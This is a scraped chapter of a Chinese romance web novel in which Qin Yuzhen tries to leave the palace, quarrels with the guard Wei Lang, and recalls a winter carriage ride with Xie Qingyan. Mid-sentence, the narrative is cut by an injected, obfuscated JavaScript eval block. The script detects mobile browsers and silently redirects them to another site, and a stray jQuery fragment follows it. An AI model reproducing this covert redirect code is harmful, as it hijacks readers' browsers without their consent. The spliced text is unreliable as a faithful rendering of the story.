默认冷灰
24号文字
方正启体

4. 第四章

作者:吃个嘴子本书字数:K更新时间:
    等到秦玉珍在栖云居软榻上醒来时,天已全黑。


    谢青砚不在,似乎有事出去了。


    候着的宫女们布菜退下后,秦玉珍迷迷糊糊就着满桌子自己爱吃的菜肴吃完两碗饭。


    半梦半醒间,被谢青砚勾得五迷三道,宕机了一整个下午的脑子终于稍稍回来些。


    她是不是忘记了什么重要的事?


    秦玉珍皱眉疑惑,直至碗中酥酪见了底,才猛然忆起。


    不对,她是要逃跑的啊。


    怎么又吃上了?


    秦玉珍旋即丢下碗筷,寻了个由头屏退侍女便往出宫的方向跑去。


    一推门却瞧见个熟悉的人。


    谢青砚亲卫的弟弟——卫琅。


    少年郎约莫十五六岁,生得清秀,一身玄色劲装,腰间配墨色长剑。


    秦玉珍暗道不妙。


    怎么把他忘了。


    虽知晓,卫琅平等地给除了谢青砚和他亲哥外的所有人坏脸色,但秦此刻对上那张臭脸,秦玉珍还是莫名觉得心虚。


    毕竟卫琅坏脸色给得最多的人就是她。


    无它,谁叫当初皇权更迭时,他们兄弟二人被迫与谢青砚分开。


    等到再次找到谢青砚时,却发现自家王爷已被秦玉珍这个大胆狂徒给绑回家,强行毁了清白,逼不得已只能同她结为夫妻。


    天杀的,他家那一直洁身自好,冰清玉洁的王爷啊,就这样被这个女人给毁了!


    卫琅头一次被气哭。


    天知道卫琅有多想手刃秦玉珍。


    当时若不是被他哥哥卫序拦下,秦玉珍只怕坟头草已经一人高了。


    后来知晓自己被安排保护秦玉珍时,更是大闹一场。


    被他哥哥不知怎么教训一顿后,才肯同意,而后便日日顶着一张不服气的脸跟在秦玉珍身后,再没给她好脸色看。


    不过卫琅虽不服气,能力却不容小觑,年龄虽小,武力方面竟比他哥哥还要强上些。


    秦玉珍自知理亏,加上卫琅比她小上三岁,只将他当做尚未懂事的弟弟来看待。


    臭脸就臭脸吧,由着他去了。


    因而两人虽然不合,倒没有闹出什么大事来。


    卫琅行踪隐蔽,除在皇宫内时会现身,平常轻易不会出现,能离秦玉珍多远就跑多远,存在感低到她总忘记这少年的存在。


    以往这样也算是相安无事。


    可偏生今天秦玉珍忙着回府收拾东西逃跑,心中有鬼,身边跟着的人越少越好,何况是卫琅这等武力的人。


    秦玉珍转身对离她十米远开外的卫琅道。


    “我走得急忘同砚砚说一声了,若他一会回来没瞧见人恐会生气。回府的路我很熟悉,宫外也有家卫等候。你留在此处等他回来后,知会一声我回府了。”


    结果那小孩儿头抬得比天还高,没好气道。


    “我只听王爷一人吩咐。”


    回答过后,无论秦玉珍再怎么劝说也再不多开口说一个字。


    知晓这小孩脑子轴又一根筋,劝说无果,秦玉珍没再多费力气,转头继续往出宫的方向走,自我宽慰道。


    虽说卫琅的存在是个麻烦,但在逃跑一事上,卫琅同她未必意见相左。


    毕竟秦玉珍若是离开,卫琅必是第一个赞同的。


    说不定就算被卫琅发现,也会装作没看见,甚至暗中帮她一把,让她有多远滚多远,最好此生再也不要出现在谢青砚身前。


    宫道幽长,两侧灯影昏黄,似乎永远也瞧不见底。


    秋夜晚风瑟瑟,远处似鬼影重重,蛰伏在幽暗处,等待着人影出来时一击毙命。


    秦玉珍向来惜命,此刻突然有些后悔自己没等谢青砚就一个人回去了。


    说不定都熬不到被谢青砚泄愤杀死,就会抢先一步被阴暗处的鬼杀了。


    这样一比,还不如死在谢青砚手上。


    大概是恐惧驱使的缘故,秦玉珍出声向十米外的卫琅问道。


    “卫琅,你知道砚砚他出去是去忙什么了?”


    卫琅耳力极好,秦玉珍轻声说的话,即便是隔着十米的距离,也能得一清二楚。


    但听得见是一回事,理人又是另外一回事。


    秦玉珍这会儿主要是找人说话壮胆,见他不搭话,添火道。


    “看来你不知道。”


    话音刚落,身侧闪过一道阴影。


    “我知道也不告诉你。”


    小孩突然闪现跳到秦玉珍面前,瞪了她一眼。


    见终于把人逼出来了,秦玉珍添油加醋,自顾自继续道。


    “也是,毕竟你被砚砚派来保护我,没跟在他身边自然不知晓。”


    卫琅最不能听这事儿,一听脸都气红了,出声反驳。


    “等我同哥哥一个年龄时,就也可以跟在王爷身边,到时候我就能知道,但你永远也没有机会知道!”


    “王爷最恨旁人玩弄欺诈他,若是换成以往早被王爷挫骨扬灰了。他不杀你,只是…只是一时凑合懒得动手而已,等到王爷真正在意的人出现了,你立刻会被踢掉腾位,到时候连怎么死的都不知道!”


    卫琅胜负欲上来,正等待秦玉珍的反驳。


    平日两人常这样斗嘴,车轱辘话说来说去也就这些。


    一个揪着锦州的事儿不放,一个专提他被安排来保护自己,菜得你来我往,谁嘴上也没饶过谁。


    可今日卫琅等了许久,也没听见秦玉珍反驳。


    卫琅疑惑,向她瞧去。


    却见秦玉珍站在原地,没说话。


    秋风起,两侧宫灯光影微微摇曳,拉长的影子映在宫墙上,像一截摇摇欲坠的枯枝。


    他正疑惑,却见秦玉珍点了点头。


    “我知道。”


    声音细若蚊吟,可卫琅耳力极佳,听得一清二楚。


    自己竟然赢了?


    明明以往都会被秦玉珍以一句,‘强扭的瓜甜不甜我自己才知道,反正解渴就行’,给堵死。


    甚至有一次,二人吵得不可开交时。


    恰巧谢青砚从外面回来。


    秦玉珍直接丢下一句,“那又怎样,反正我想亲你家王爷就亲”,直接冲上前抱着谢青砚亲了几口。


    卫琅那次被气到说不出话。


    原本已经被哥哥拉回去训斥了一番,令惩戒一周。


    卫琅虽然不服气,但很听哥哥的话,哥哥不让他做的事,他不会再做。


    本来都要改的,结果第二天哥哥忽然对他说。


    “不用罚了。”


    “王爷说,府上冷清,这样也算是乐趣。”


    几乎算得上是默许。


    他就知道,王爷不喜欢她!


    若王爷真喜欢她,怎么会默许他同秦玉珍吵架,难道不该是让他闭嘴吗?


    卫琅兴奋得几乎想要立刻跑去找秦玉珍吵架。


    卫序无奈摇头看向弟弟。


    果然没听懂。


    只好补道。


    “别太放肆,记得等王爷在的时候吵。”


    卫琅至今也想不明白,为什么哥哥让他等王爷在的时候吵?


    背着王爷吵难道不好吗?


    毕竟当着王爷的面吵的话,万一秦玉珍又发疯上去亲王爷怎么办!


    以往斗嘴从没赢过,这是卫琅第一次吵赢。


    按理说应该开心的,却不知为何他心头莫名涌上怪异。


    卫琅凑上前去。


    “你怎么不跟我吵?”


    秦玉珍提着裙角,坐上马车,甩下一句。


    “猜去吧,大傻子!”


    车帘在身后落下,将小孩儿气急败坏的脸盖住。


    “你!你才是傻子!”


    -


    马车运行的车轱辘声悠悠向摄政王府的方向延去。


    秦玉珍倚着身后软枕,握拳轻锤着走得酸软的腿。


    马车内暖炉烧得热乎,驱散着周遭的寒气。


    温暖的环境里,不安的心绪渐渐抚平,人不免松懈下来。


    在马车这相对封闭的空间中,小几上温热糕点的香甜气息渐渐弥漫开来。


    熟悉的气味勾起旧时的记忆。


    秦玉珍不免想起她第一次进宫来那日,坐得那辆马车也是这样的香气。


    那会儿,秦玉珍刚随谢青砚从锦州到京城。


    到了京城,她才知晓,当初在锦州做她家账房先生的病弱书生,竟然是权势滔天的当朝摄政王,随意一句话便能定夺他人生死。


    谢青砚那时总是很忙。


    府里总见不到他的人影。


    府上的人对秦玉珍都很友善恭敬,但也只停留在此,她能感受到他们畏她俱她。


    诺大的摄政王府里,她仅有的能说上些话的人竟是卫琅。


    虽然只是对骂,也总比没人说话好。


    那段时间,秦玉珍甚至连卫琅这小孩的臭脸都看习惯了。


    京城很好,就连生意也比锦州更好做,名下的商铺再没有出现过寻滋闹事的情况。


    上门的客人们和善到,说是白送钱也不为过。


    谁都知晓这些铺子背后的主人是谁,只有她不知道。


    京城贵妇们的帖子堆满了屋子。


    谢青砚说她感兴趣的话可以去瞧瞧。


    起初秦玉珍是有些好奇的,去过几次。


    每次都被一群打扮得雍容华贵的贵妇人们簇拥在中心,恭维的话语从不重样,无论秦玉珍做什么都会被夸得天花乱坠。


    就算她指着猫说是狗也被夸。


    没什么意思,后来便再没去过。


    京城人数是锦州的十数倍,秦玉珍却找不到一个可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024666|194338||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以静下来同她说说话的人。


    诺大的京城,唯一熟悉的人却忙得见不到人。


    谢青砚总是回来得很晚。


    多是在深夜,即便回来他依旧很忙,往往转身便去了书房,忙完了就宿在书房,仅能瞧上那么一眼,又再次离开。


    若她睡着了,便连那一眼也没了。


    那时秦玉珍同管家钟叔关系还算不错,钟叔约莫五十来岁,人生得利落和蔼,不像府里的其他人一样那般畏她,偶尔秦玉珍也同他说说话。


    “钟叔,能帮我个忙吗?”


    “王妃请讲”


    二日晨,小雪纷纷,天色深墨未明。


    府里静悄悄的,洒扫的仆人们都被放了假,此刻正在酣眠。


    周围寂静无声,秦玉珍穿着大红云锦斗篷,轻轻推开房门,帽檐白色绒毛柔柔笼着那张清丽鹅蛋脸,挡住屋外涌来的寒风。


    秦玉珍抱着锦被小心绕开书房,迎着雪,放轻步伐踩在松软白雪上,隐匿声响提前跑到谢青砚马车前。


    刘叔办得妥帖,连负责看守马车的侍卫也被放了假。


    计划一切顺利,丝滑到远超她预期。


    秦玉珍冻得微红的脸上泛起笑意,抱着被子吭哧吭哧上了马车。


    刚欲展开被子将自己包裹起来御寒。


    车帘掀开,如春暖意扑面而来,伴着丝丝甜意。


    马车上竟点着暖炉。


    旁侧的紫檀小几上温着茶水点心。


    京城的冬日比锦州更为凌人,秦玉珍那时才来还不知晓其厉害。


    直到一次同人约好第二日去铺子商议事,结果温度骤降,秦玉珍推门被冻了个彻底,当下便不想出门,却又做不出放人鸽子的事,只好硬着头皮坐上马车。


    结果一上车,却发现出行的马车上早早地就被配以暖炉御寒,前去商铺的路上竟一点也不冷。


    一次同刘叔聊天时说起此事,刘叔那时笑得和蔼,说今年冬日有王妃在,他这管家终于有用武之地了,不至于白拿俸禄。


    “王爷冬日从不用这些,说是嫌麻烦……让撤掉了。”


    刘叔当日的话似乎历历在目。


    秦玉珍为此,还提前准备了用以防寒保暖的被子,哪成想根本用不上。


    或许今年冬天太冷了吧,往年不怕冷的人也觉得冷了。


    秦玉珍将被子团吧堆在一边,解开斗篷,吃着温热的糕点暖茶,倚着身后软锦抱枕,兴奋地等待谢青砚出门,脑中想象着谢青砚掀开车帘瞧见她时会是怎样的神情。


    只是马车内实在太过舒服,也或许是吃了太多甜食的缘故。


    秦玉珍竟睡着了。


    等到再次醒来时,天已大亮。


    糟糕,睡过头了。


    秦玉珍一时懊恼,瞬间清醒过来,抬眸间却发现自己正枕在一人身上。


    眼波流转,视线撞入那双熟悉的丹凤眼中。


    那双低垂的丹凤眼此刻映着她的身影,睫羽轻颤,眸光一瞬闪烁。


    早已不知翻阅到何处的书卷从手中坠落,纤细白皙的指节从书页缓缓移至秦玉珍耳侧。


    淡淡的墨香拂过鼻息。


    秦玉珍额前那几缕细碎的发丝被别至耳后。


    谢青砚声音传来。


    “醒了”


    温朗,柔和。


    不知道是否是自己才睡醒的错觉,秦玉珍总觉得谢青砚那时温柔得像汪春日池水,让她忍不住想要靠近,靠近,再靠近。


    尚未动作,却先听得车外传来响动,秦玉珍掀帘向外瞧去,这才发现。


    此刻早已过了上朝时令。


    而马车却仍停在宫墙外。


    “迟…迟到了!”


    秦玉珍猛地起身坐起,抬头有些心虚地看向谢青砚,正琢磨着怎么开口。


    就听谢青砚唤着她的名字。


    “秦玉珍”


    谢青砚俯身贴近她。


    秦玉珍尚未做好准备,身体一时失衡,向后仰倒,栽进身后软枕里。


    面前人却没有放过她的意思,仍旧不急不缓地继续靠近她,掌心落在她腰侧,附在她支撑身形的手上,稍一用力。


    秦玉珍被人拉入怀中。


    二人距离骤然缩近。


    秦玉珍甚至觉得谢青砚能听见她此刻肆虐的心跳声。


    温热的呼吸落在秦玉珍脖颈间,缓缓向上落在她耳侧。


    就听,谢青砚缓声道。


    “怎么办,要被圣上怪罪了。”


    说着要被惩罚的话语,语气却不见丝毫慌乱,缱绻缠绵很难不疑心是在引诱。


    握在她纤细腕处的手渐渐抽离,指尖向上游离。


    谢青砚慢条斯理地将他的玉佩解下,系在秦玉珍腰间。


    他抬头看她。


    “你想怎么补偿我。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)